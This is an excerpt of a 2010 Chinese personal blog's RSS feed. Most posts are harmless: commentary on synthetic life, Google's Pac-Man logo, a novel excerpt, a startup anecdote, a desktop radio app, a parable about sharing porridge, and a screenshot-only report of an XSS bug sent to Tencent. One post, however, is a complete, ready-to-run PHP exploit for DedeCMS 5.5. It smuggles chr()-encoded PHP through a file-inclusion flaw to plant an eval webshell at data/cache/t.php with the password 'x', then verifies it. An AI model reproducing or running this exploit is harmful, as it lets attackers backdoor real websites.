			<comments>http://www.deluei.com/?action=show&amp;id=301#comments</comments>
			<pubDate>Thu, 27 May 2010 01:20:34 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=300</link>
			<guid>http://www.deluei.com/?action=show&amp;id=300</guid>
			<title>首个&quot;人造生命&quot;在美诞生 一文一强人的评论</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	新闻只放个链接，关键是一条分析很有道理的评论。</p>
<p>
	<a href="http://news.163.com/10/0522/02/678N9KB50001121M.html">http://news.163.com/10/0522/02/678N9KB50001121M.html</a></p>
<p>
	评论原文如下：</p>
<p>
	&nbsp;其实不一定会是比人类更聪明的生物，因为人类创造生物的过程中，即便是最疯狂的科学家也不一定能做到使其脑部或者说意识结构，发育速度，沟通方式，比人类更高级，很简单，你自己都无法理解的结构是你很难主动造出来的。<br />
	但是创造出另外一种意义上强大的生物还是可能的，<br />
	比如拥有强大的自我复制或者分裂能力，以及能够适应恶劣环境并高速演化，<br />
	通过某种自身结构或者宿主结构进行种群级别的信息传递...等等<br />
	这种生物最简单的典型例子就是类似&ldquo;人造儿&rdquo;这样的&mdash;&mdash;细菌。<br />
	这种可能性来自于生物医学领域，我们需要更强壮，更健康，于是各种微生物应运而生，丢失的肢体通过快速人造培育可以制造出来，并通过某种人造微生物群使其能与病人接合与运作，内脏可以达到人工替换。它们使我们能远离癌症等可怕疾病，强大的人造细菌群击倒癌细胞，并和宿主和谐共生，甚至让我们反应更快，跑得更快，跳得更高...等等<br />
	当然,大家应该注意到了前提是和谐共生,如果达不到呢?<br />
	细菌是在你身体内部的微生物,即便是强壮如史泰龙也不可能挥拳砸碎自己体内的有害寄生物,有一天突然发现你的腿不灵光了?放心,这其实不是什么大问题.如果不知不觉间,你的大脑实际上已经从组织级别被你的共生物所占据,这也许才是最可怕的,当它们在你的脑组织里疯狂复制,相信我,你根本不会意识到自己已经不再是自己了.<br />
	另外，即便是和谐共生，那也必须保证当宿主死亡时，人造物必须死亡，如果人造物进化，通过腐烂组织繁殖，那么&mdash;&mdash;想象一下某只打过一针的白鼠，活到自然挂了之后过了几天突然在你面前跳舞，嗯哼~<br />
	人造物是有益菌抑或病毒，米迦勒或者撒旦，只在一线之间.<br />
	毕竟,谁没有过好心办坏事儿的时候?<br />
	Anyway,要阻止人类科技的发展是不可能的，科学家们创造进步总是以让全人类担负巨大危险为代价，但无可厚非，因为科学家本来就是人类这一物种渴望自我升华的强烈意志的产物，是你，我，他，所有人的潜意识代表者。<br />
	如果你今天看到这条消息突然觉得很担心，其实大可不必，因为早在几年前，LHC这玩意儿开始第一次对撞开始，我们就在冒着被它可能造成的人造黑洞&ldquo;biu&rdquo;地一声全吸没了的危险，那时候，你显然很可能正在床上挖鼻孔拍着键盘上163。<br />
	好了，说了这么多，看到这条新闻会不会让你觉得应该做点什么呢。<br />
	你买房了没有？<br />
	&nbsp;</p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=300</link>
			<category domain="http://www.deluei.com/?cid=4">新闻旧事造江湖</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=新闻">新闻</category>
			<pubDate>Sun, 23 May 2010 03:37:01 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=299</link>
			<guid>http://www.deluei.com/?action=show&amp;id=299</guid>
			<title>谷歌首页Logo变吃豆人</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	今天突然发现谷歌的logo居然变成了N年未遇的吃豆人，马上用百度google了一下。发现了一些存在于网络上的电子遗迹！</p>
<p>
	<div class="attach"><a href="http://www.deluei.com/attachment.php?id=79" class="highslide" onclick="return hs.expand(this)"><img src="http://www.deluei.com/attachments/date_201005/thumb_0f206c3e4a351394e692037dc7b5367c.png" border="0" alt="pacman10-hp.png&#13;&#13;大小: 7.33 K&#13;尺寸:  x &#13;浏览: 204 次&#13;点击打开新窗口浏览全图" width="500" height="168" /></a></div></p>
<p>
	google每到什么较为重大的纪念日，都有修改徽标纪念的惯例，今年是吃豆人（pac&mdash;man）游戏诞生30周年，google首页今天更换了估计是第一款可玩型的Logo，整体以google的字母作为背景，整个就是一个吃豆人游戏，而以往&ldquo;手气不错&rdquo;的按钮，被修改成了&ldquo;投入硬币&rdquo;（insert&nbsp; Coin），点击整个按钮，游戏就进入开始的倒计时状态。在左侧可以选择一个人玩，或者两个人玩。作为一家全球搜索巨头，作为开创logo纪念秀的开合着和坚持者，引领了全球无数网站的模仿与追随。其为一款游戏而制作、发布本次纪念logo，可见吃豆人这一游戏的发布是一次重要的历史事件，引领了一代游戏的潮流。</p>
<p>
	本着探索发现的原则，将原图抓下来后发现</p>
<p>
	<div class="attach"><a href="http://www.deluei.com/attachment.php?id=80" class="highslide" onclick="return hs.expand(this)"><img src="http://www.deluei.com/attachments/date_201005/thumb_cc049a3e362119c5e54062a25478f845.png" border="0" alt="pacman10-hp-sprite.png&#13;&#13;大小: 7.24 K&#13;尺寸:  x &#13;浏览: 29 次&#13;点击打开新窗口浏览全图" width="500" height="179" /></a></div></p>
<p>
	没深究，估计是xhtml加JavaScript的产物。</p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=299</link>
			<category domain="http://www.deluei.com/?cid=1">江湖足迹一点点</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=google">google</category>
			<pubDate>Sat, 22 May 2010 04:03:15 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=298</link>
			<guid>http://www.deluei.com/?action=show&amp;id=298</guid>
			<title>添加一本不错的小说《摄魂谷：雅库玛的诅咒》</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	摘录</p>
<p>
	&nbsp;&nbsp;&nbsp; （引）</p>
<div>
	&nbsp;&nbsp;&nbsp; 傍晚时分，夕阳已落，但电灯又未曾打开。窗外树影遮蔽，使狭长的走廊内光线更加幽暗。走廊的顶棚和两侧墙壁都被刷成了惨白的颜色，配以灰暗的水泥地面，使整个空间中都弥漫着一种压抑的气氛。</div>
<div>
	&nbsp;&nbsp;&nbsp; &ldquo;哒哒&rdquo;的脚步声突然划破了原有的寂静。伴着这声音，一个年轻的女子从楼梯口拐入了走廊。也许是刚刚从外部进入的原因，她一时有些不适应这昏暗的环境，下意识地放慢了脚步，同时睁大眼睛努力观察四周的情形。</div>
<div>
	&nbsp;&nbsp;&nbsp; 一个身着白衣白帽，大夫打扮的老者紧跟这女子走了进来，并且很快超越到她的身前。老者显然很熟悉这里的环境，他毫不停留地向走廊深处走去，同时低着嗓音说了声：&ldquo;请跟我来。&rdquo;他的脚步又快又轻，竟没有发出丝毫的声息。</div>
<div>
	&nbsp;&nbsp;&nbsp; 女子的双眼此时已能看清周围的事物，可走廊的那一头由于距离的关系，仍是黑乎乎的一片。</div>
<div>
	&nbsp;&nbsp;&nbsp; 在那黑暗中，会隐藏着些什么呢？</div>
<div>
	&nbsp;&nbsp;&nbsp; 女子站在原地，显得有些忐忑。见老者和自己的距离渐拉渐远，她才连忙快步跟了上去，高跟鞋敲击着坚硬的地面，又响起了一连串的&ldquo;哒哒&rdquo;声。</div>
<div>
	&nbsp;&nbsp;&nbsp; 两人就这样一前一后，渐渐来到了走廊的尽头。</div>
<div>
	&nbsp;&nbsp;&nbsp; 一扇紧闭的木门出现在他们的面前。</div>
<div>
	&nbsp;&nbsp;&nbsp; 老者拿出钥匙，却不急着开门，而是转头看着身边的女子，似乎在示意什么。女子多少有点紧张，她咬了咬嘴唇，然后对老者点点头。</div>
<div>
	&nbsp;&nbsp;&nbsp; 老者把钥匙插进锁孔内，发出一声轻响。这响声极其细微，但屋子里却立刻产生了巨大的反应。</div>
<div>
	&nbsp;&nbsp;&nbsp; &ldquo;啊～～&rdquo;</div>
<div>
	&nbsp;&nbsp;&nbsp; 一声凄厉的惨叫轻而易举地穿门而出，那叫声中充满了恐惧和绝望，直刺入听者的耳膜最深处。女子虽然有所准备，但还是不由自主地颤抖了一下。</div>
<div>
	&nbsp;&nbsp;&nbsp; 老者却似早已见怪不怪，他若无其事地转动手中的钥匙，然后拉开了紧闭的木门。</div>
<div>
	&nbsp;&nbsp;&nbsp; 木门后还有一道铁门，但只是栅栏模样，无法阻挡昏暗的光线射入屋中。隐约可见一个人影蜷在屋角，全身因为恐惧而打着哆嗦。那撕心裂肺的叫喊正是他发出来的。</div>
<div>
	&nbsp;&nbsp;&nbsp; 老者按了一下门边的开关，屋内的日光灯随之跳亮。光亮使得屋角的男子略微平静了些，他止住叫喊，瞪大眼睛看着门外的来客，目光中仍然惊恐不已。片刻后，他突然开口，迸出了一连串发音极为古怪的话语。</div>
<div>
	&nbsp;&nbsp;&nbsp; 老者似乎不明白他在说什么，转头用疑问的目光看着身边的女子。</div>
<div>
	&nbsp;&nbsp;&nbsp; 女子点点头：&ldquo;不错，这的确是哈摩人的土著语言。&rdquo;</div>
<div>
	&nbsp;&nbsp;&nbsp; 老者双眼放出了光芒：&ldquo;那他说的是什么意思？&rdquo;</div>
<div>
	&nbsp;&nbsp;&nbsp; 男子絮絮不休，一直在重复着什么，他的情绪越来越激动，音调也越来越高。</div>
<div>
	&nbsp;&nbsp;&nbsp; 女子皱起眉头，侧耳细听，看得出来，她在分辨对方的话语时也很吃力。片刻后，她露出奇怪的表情，喃喃说道：&ldquo;恐怖谷&hellip;&hellip;恶魔将到来？&rdquo;</div>
<div>
	&nbsp;</div>
<div>
	<a href="http://www.deluei.com/attachment.php?id=78" title="恐怖谷.rar&#13;&#13;大小:241.17 K, 下载次数:22" target="_blank">恐怖谷.rar</a></div>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=298</link>
			<category domain="http://www.deluei.com/?cid=1">江湖足迹一点点</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=小说">小说</category>
			<pubDate>Thu, 20 May 2010 08:45:41 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=297</link>
			<guid>http://www.deluei.com/?action=show&amp;id=297</guid>
			<title>service.qq的一个跨站漏洞</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	<div class="attach"><a href="http://www.deluei.com/attachment.php?id=74" class="highslide" onclick="return hs.expand(this)"><img src="http://www.deluei.com/attachments/date_201005/thumb_a43ea0c3fc42d79a9073a19b2ea6df02.jpg" border="0" alt="tenxun跨站1-1.jpg&#13;&#13;大小: 161.22 K&#13;尺寸:  x &#13;浏览: 34 次&#13;点击打开新窗口浏览全图" width="500" height="253" /></a></div></p>
<p>
	<div class="attach"><a href="http://www.deluei.com/attachment.php?id=75" class="highslide" onclick="return hs.expand(this)"><img src="http://www.deluei.com/attachments/date_201005/thumb_44cab0cb4ff1a669b75226a96d26aaa7.jpg" border="0" alt="tenxun跨站2-1.jpg&#13;&#13;大小: 136.88 K&#13;尺寸:  x &#13;浏览: 37 次&#13;点击打开新窗口浏览全图" width="500" height="293" /></a></div></p>
<p>
	TX在10分钟左右就回函了，先是service.qq.com里的回复，再是邮件回复，跟着就是系统信息回复。</p>
<p>
	在这个时间里我这强劲的PC居然卡起来了，我很是怀疑当时邪恶的TX对我进行了惨无人道的围观......</p>
<p>
	<div class="attach"><a href="http://www.deluei.com/attachment.php?id=77" class="highslide" onclick="return hs.expand(this)"><img src="http://www.deluei.com/attachments/date_201005/thumb_31e3114128d8449a8962869a6e85eae4.png" border="0" alt="腾讯客服-在线提问-问题详情.png&#13;&#13;大小: 465.07 K&#13;尺寸:  x &#13;浏览: 33 次&#13;点击打开新窗口浏览全图" width="259" height="500" /></a></div></p>
<p>
	注意上头的错别字，希望客服没被x了奖金。</p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=297</link>
			<category domain="http://www.deluei.com/?cid=2">自创武艺窥门径</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=tx">tx</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=qq">qq</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=xss">xss</category>
			<pubDate>Sat, 08 May 2010 15:16:12 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=296</link>
			<guid>http://www.deluei.com/?action=show&amp;id=296</guid>
			<title>[转载]中国非典型互联网创业案例</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	作者：老猪<br />
	<br />
	1.这是我两年前听说的。讲述者是一名投资人。综合分析他说的N多事情，我觉得这个案例可信度100%。<br />
	<br />
	这两年来，每当我想起这个案例，总会在心里激赏：中国互联网真是一片神奇的黄金之地啊。这种故事，只有在中国才会发生。<br />
	<br />
	2.在C市，有2个年轻人，都不大。不知道他们以前是做啥的，啥性格。他们想创业，想赚更多的钱。他们没什么积蓄，凑到的资金加起来不到10万。但他们仍然开动了。啥创业方向呢？往下看。<br />
	<br />
	3.他们先花了4000块钱，买了1000张电影DVD，全是大片、经典片。然后花了两个月的时间，包括请朋友帮忙，将这1000部电影转成了1G以内的单个数字文件。嗯，存到一起差不多1个T了。<br />
	<br />
	4.他们花了6000块钱，请了两个程序员，让他们帮着写一套电影点播系统。极限开发啊，一个月搞定，而且跟买DVD的时间是并行的。系统的影像播放代码，用的是SourceForge上的开源，质量相当不错；主要的开发工作集中在点播计费方面。哦，对了，还有个集中报表的功能。<br />
	<br />
	5.现在时间过去了一个月多点儿。前期准备工作完毕。要正式操作了。他们中间有个人以前在C市最大的数码卖场工作过，通过关系赊账，没花钱先攒了10台机子，中等配置，但都是1T的硬盘，不用显示器。把电影拷进来，把程序拷进来，局域网上测了一下，嗯，效果不错。<br />
	<br />
	6.分头行动，一人带5台电脑主机，一个人从C市的东边往西；一个人从C市的西边往东，挨个找上点规模（100台电脑以上）的网吧谈。C市的网吧，或者说全国的网吧用户习惯他们早先做过调查，基本上一半是在看电影；剩下的一半是在聊天上网，一半是在玩网游。看电影是杀手应用啊。他们的谈判没有任何难度。一台现成的电脑放到你网吧里，你不用花一分钱；走的也是局域网；程序易用性不错；用户看一部片子1块钱，五五分。精明的网吧老板都知道这是个没成本但有得赚的事儿。唯一要做的就是让网管给来的客人推荐下，然后把看电影的钱跟上网费一起收了就好了。。<br />
	<br />
	7.于是不到2个小时，搞定了10家网吧。这哥俩有点累。心里没底。有点小感慨。就到一小饭馆喝了几杯，喝得晕晕呼呼，回家睡了。<br />
	<br />
	8.第二天一大早，某人就被某人的电话喊醒了：&ldquo;快看我们的集中报表！&rdquo;<br />
	<br />
	报表上显示：就昨天，系统跑了的10个小时左右，营业额已达3000元；应收账款就是1500了。<br />
	<br />
	9.闪电行动。在接下来的半个月内，他们相继赊了1000多台机子，又火速发动了些亲朋好友帮忙，迅速攻占了C市的大部分网吧。<br />
	<br />
	10.就这样，在他们开始创业的差不多第4个月，他们已经由两手空空的小年轻，变成了千万富翁。<br />
	<br />
	11.故事并没有到此结束。我们的两位主人公，无疑是心怀大志的人。他们火速成立公司，在其他城市开展此项业务。在接下来的半年里，加盟网吧扩张到了7000 家。每家网吧大致是每天120元的分成。嗯，他们又发了，大发了。一共赚了1个亿多点儿。公司员工不多，营运成本也就那么些。哥俩一分，每人4000多万吧。<br />
	<br />
	12.听说世间还有风险投资这么回事。正当哥俩琢磨着下一步怎么走的时候，风投找上门来了。不到一个月的时间，就敲定了2000万美元的风险资金。在VC看来，这的确是个非常好的业务模式啊，渠道，用户，怎么收费，全都有了。没有风险吗？当然有，不过很容易解决。<br />
	<br />
	13.下一步干啥？找个美女翻译，直飞美利坚合众国，去好莱坞找迪斯尼，米高梅等电影发行商，谈授权。有了钱，这些都只是商务活儿。一个月，连带着在美国西海岸旅游，事儿都办妥了。<br />
	<br />
	14.VC要强调你业务的发展性。那下一步干啥呢？<br />
	<br />
	这哥俩发现，网吧的电脑，绝大部分都是下行多，上行少。那就搞P2P网上点播吧。把在网吧里的近1万台电脑软件统统更新一遍了，重点是高科技的自动更新程序。再找个靠谱的产品经理带几个程序员，搞个P2P播放软件出来，把网吧老板们都忽视了的上行线路用上，还不用给他们掏钱。<br />
	<br />
	最快速度，最低成本，一个强有力的，形象光鲜正面的互联网点播服务商出现了。投资人很满意。<br />
	<br />
	15.应世而出，短期爆发，快速成长，目光长远，随需应变，平稳发展。用户满意，网吧老板高兴，投资人庆幸；即便是好莱坞的那帮人，也对此激赏不已。毕竟，还有好多人现在仍然在明着搞盗版，电影发行商没从他们那里得到过一美分。<br />
	<br />
	16.是为中国互联网的创业绝唱。因为绝妙，所以非典型，不可复制。在码这堆字儿的时候，那两位主人公，已经成功从新公司里套现离开。一位移民加拿大，一位移民澳洲，目前又都在学校里念书镀金。<br />
	<br />
	这是群里上周五贴出的一篇博文，文中的公司应该就是：北京网尚文化传播有限公司，给我的感觉就是在相对宽松的二三线城市里，在那里竞争不是很激烈的互联网行业，机会也许更多。</p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=296</link>
			<category domain="http://www.deluei.com/?cid=1">江湖足迹一点点</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=案例">案例</category>
			<pubDate>Thu, 29 Apr 2010 13:33:48 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=295</link>
			<guid>http://www.deluei.com/?action=show&amp;id=295</guid>
			<title>赛格GPS管理平台通过移动MAS服务器收发指令</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	&nbsp; 原平台为通过短信猫实现指令的收发，现平台直接移植到MAS服务器上。</p>
<p>
	&nbsp;示意图如下：</p>
<p>
	<div class="attach"><a href="http://www.deluei.com/attachment.php?id=73" class="highslide" onclick="return hs.expand(this)"><img src="http://www.deluei.com/attachments/date_201004/475864279c56ba0cc14f34bad82dbdfb.jpg" border="0" alt="clip_image001.jpg&#13;&#13;大小: 35.07 K&#13;尺寸: 305 x 489&#13;浏览: 29 次&#13;点击打开新窗口浏览全图" width="305" height="489" /></a></div></p>
<p>
	有兴趣的朋友可以来信接洽。</p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=295</link>
			<category domain="http://www.deluei.com/?cid=2">自创武艺窥门径</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=gps">gps</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=赛格">赛格</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=移动">移动</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=mas">mas</category>
			<pubDate>Thu, 29 Apr 2010 11:43:38 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=294</link>
			<guid>http://www.deluei.com/?action=show&amp;id=294</guid>
			<title>韩寒评世博-快来吧，快走吧</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	<a href="http://blog.sina.com.cn/s/blog_4701280b0100i3hp.html">http://blog.sina.com.cn/s/blog_4701280b0100i3hp.html</a></p>
<p>
	只给链接，韩寒还是一向如此</p>
<p>
	挥舞着犀利的战刀，耍着炫目的太极。</p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=294</link>
			<category domain="http://www.deluei.com/?cid=4">新闻旧事造江湖</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=世博">世博</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=韩寒">韩寒</category>
			<pubDate>Tue, 27 Apr 2010 09:23:08 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=293</link>
			<guid>http://www.deluei.com/?action=show&amp;id=293</guid>
			<title>豆瓣电台桌面版</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p style="text-align: center">
	豆瓣电台桌面版，直接里面嵌套的webbrowser，IE里面的快捷键这里都能用，ESC快速关闭，貌似意义不大，可以最小化至托盘。。嗯~另外，需要.net framework 支持。</p>
<p style="text-align: center">
	<img alt="Snap1" class="size-medium wp-image-348 aligncenter" height="157" src="http://www.whpotter.net/wordpress/wp-content/uploads/2009/10/Snap1-300x157.jpg" style="width: 300px" title="Snap1" width="300" /></p>
<p style="text-align: center">
	<img alt="Snap2" class="size-full wp-image-349 aligncenter" height="160" src="http://www.whpotter.net/wordpress/wp-content/uploads/2009/10/Snap2.jpg" style="width: 233px" title="Snap2" width="233" /></p>
<p>
	更新记录: 10,6 2009 版本号: v1.0.1.0 修改了用户提示里的一个小问题,图标改成了清晰版,大小增加到17.5K.</p>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 11,6 2009 版本号 v1.1.0.0 增加了标题栏歌名显示及托盘双击显示/隐藏。大小17k。</p>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 12,21 2009 版本号 v2.0.0.0 加入可同步MSN状态，修改win7下图标模糊问题，大小23k。</p>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 04,25 2010&nbsp;版本号 v.2.1.0&nbsp;针对豆瓣电台页面进行修改，一如既往保持只有一个exe,大小23.5k。坚持提供给大家最精简最好用的电台桌面版。&nbsp;</p>
<p>
	下载地址 ：<a href="http://www.whpotter.net/zuopin/doubanradio.exe"><font color="#cc0000">http://www.whpotter.net/zuopin/doubanradio.exe</font></a></p>
<p>
	.net framework 3.5 for xp下载地址：</p>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://download.pchome.net/development/developtools/translater/detail-83171.html"><font color="#cc0000">http://download.pchome.net/development/developtools/translater/detail-83171.html</font></a></p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=293</link>
			<category domain="http://www.deluei.com/?cid=3">斗转星移集众艺</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=电台">电台</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=豆瓣">豆瓣</category>
			<pubDate>Tue, 27 Apr 2010 09:11:28 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=292</link>
			<guid>http://www.deluei.com/?action=show&amp;id=292</guid>
			<title>DEDECMS 5.5 datalistcp.class.php 包含 EXP</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	执行成功会在data/cache下生成t.php一句话小马<br />
	密码x</p>
<pre class="brush:php;">
&lt;?php
print_r(&#39;
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
&#39;);
if ($argc &lt; 3) {
print_r(&#39;
+----------------------------------------+
Usage: php &#39;.$argv[0].&#39; host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php &#39;.$argv[0].&#39; localhost /dedecms/
+----------------------------------------+   
&#39;);
exit;
}
error_reporting(7);
ini_set(&#39;max_execution_time&#39;, 0);
 
$host = $argv[1];
$path = $argv[2];
 
$post_a = &#39;plus/digg_ajax.php?id=1024e1024&amp;*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*&#39;;
$post_b = &#39;needCode=aa/../../../data/mysql_error_trace&#39;;
$shell = &#39;data/cache/t.php&#39;;
 
get_send($post_a);
post_send(&#39;plus/comments_frame.php&#39;,$post_b);
$content = post_send($shell,&#39;t=echo tojen;&#39;);
 
if(substr($content,9,3)==&#39;200&#39;){
    echo &quot;\nShell Address is:&quot;.$host.$path.$shell;
}else{
    echo &quot;\nError.&quot;;
}
function get_send($url){
    global $host, $path;
    $message = &quot;GET &quot;.$path.&quot;$url  HTTP/1.1\r\n&quot;;
    $message .= &quot;Accept: */*\r\n&quot;;
    $message .= &quot;Referer: http://$host$path\r\n&quot;;
    $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $message .= &quot;Host: $host\r\n&quot;;
    $message .= &quot;Connection: Close\r\n\r\n&quot;;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo &quot;\nConnect to host Error&quot;;
    }
    fputs($fp, $message);
 
    $back = &#39;&#39;;
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
 
}
function post_send($url,$cmd){
 
    global $host, $path;
    $message = &quot;POST &quot;.$path.&quot;$url  HTTP/1.1\r\n&quot;;
    $message .= &quot;Accept: */*\r\n&quot;;
    $message .= &quot;Referer: http://$host$path\r\n&quot;;
    $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $message .= &quot;Host: $host\r\n&quot;;
    $message .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $message .= &quot;Connection: Close\r\n\r\n&quot;;
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo &quot;\nConnect to host Error&quot;;
    }
    fputs($fp, $message);
 
    $back = &#39;&#39;;
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?&gt;</pre>]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=292</link>
			<category domain="http://www.deluei.com/?cid=3">斗转星移集众艺</category>
			<pubDate>Mon, 26 Apr 2010 07:55:14 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=291</link>
			<guid>http://www.deluei.com/?action=show&amp;id=291</guid>
			<title>分粥的故事</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	对权力制约的制度问题一直是人类头疼的难题。<br />
	请看下边的这个小故事。</p>
<p>
	英国历史学家阿克顿（1834-1902）讲过一个分粥的故事。具体内容如下：</p>
<p>
	&nbsp;&nbsp;&nbsp; 有7个人组成的小团体，他们每个人都是平等的，但同时又是自私自利的。他们想通过制度创新来解决每天的吃饭问题&mdash;&mdash;&mdash;要在没有计量工具或有刻度的容器的状况下分食一锅粥。<br />
	大家发挥了聪明才智，试验了不同的方法。</p>
<div>
	制度一：指定一个人负责分粥事宜。很快大家发现，这个人为自己分的粥最多。于是又换了一个人，结果总是主持分粥的人碗里的粥最多最好。&nbsp;&nbsp;&nbsp;</div>
<div>
	&nbsp;</div>
<div>
	制度二：大家轮流主持分粥，每人一天。看起来平等了，但是每个人在一周中只有一天吃的饱而且有剩余，其余六天都饥饿难挨。</div>
<div>
	<br />
	&nbsp;&nbsp;&nbsp; 制度三：选举一个信得过的人主持分粥。大家开始挖空心思去讨好他，贿赂他，后来这位道德高尚的人也开始为自己和溜须拍马的人多分。</div>
<div>
	<br />
	&nbsp;&nbsp;&nbsp; 制度四：选举一个三人的分粥委员会和一个四人的监督委员会,形成监督和制约。由于监督委员会常提出各种议案，分粥委员会又据理力争，等分粥完毕时，粥早就凉了。</div>
<div>
	<br />
	&nbsp;&nbsp;&nbsp; 制度五：每个人轮流分粥，但分粥的人要最后一个领粥。令人惊奇的是，在这个制度下，七只碗里的粥每次都是一样多。从此大家快快乐乐，和和气气，日子越过越好。</div>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=291</link>
			<category domain="http://www.deluei.com/?cid=3">斗转星移集众艺</category>
			<pubDate>Sun, 25 Apr 2010 11:49:18 +0000</pubDate>
		</item>
	</channel>
</rss>
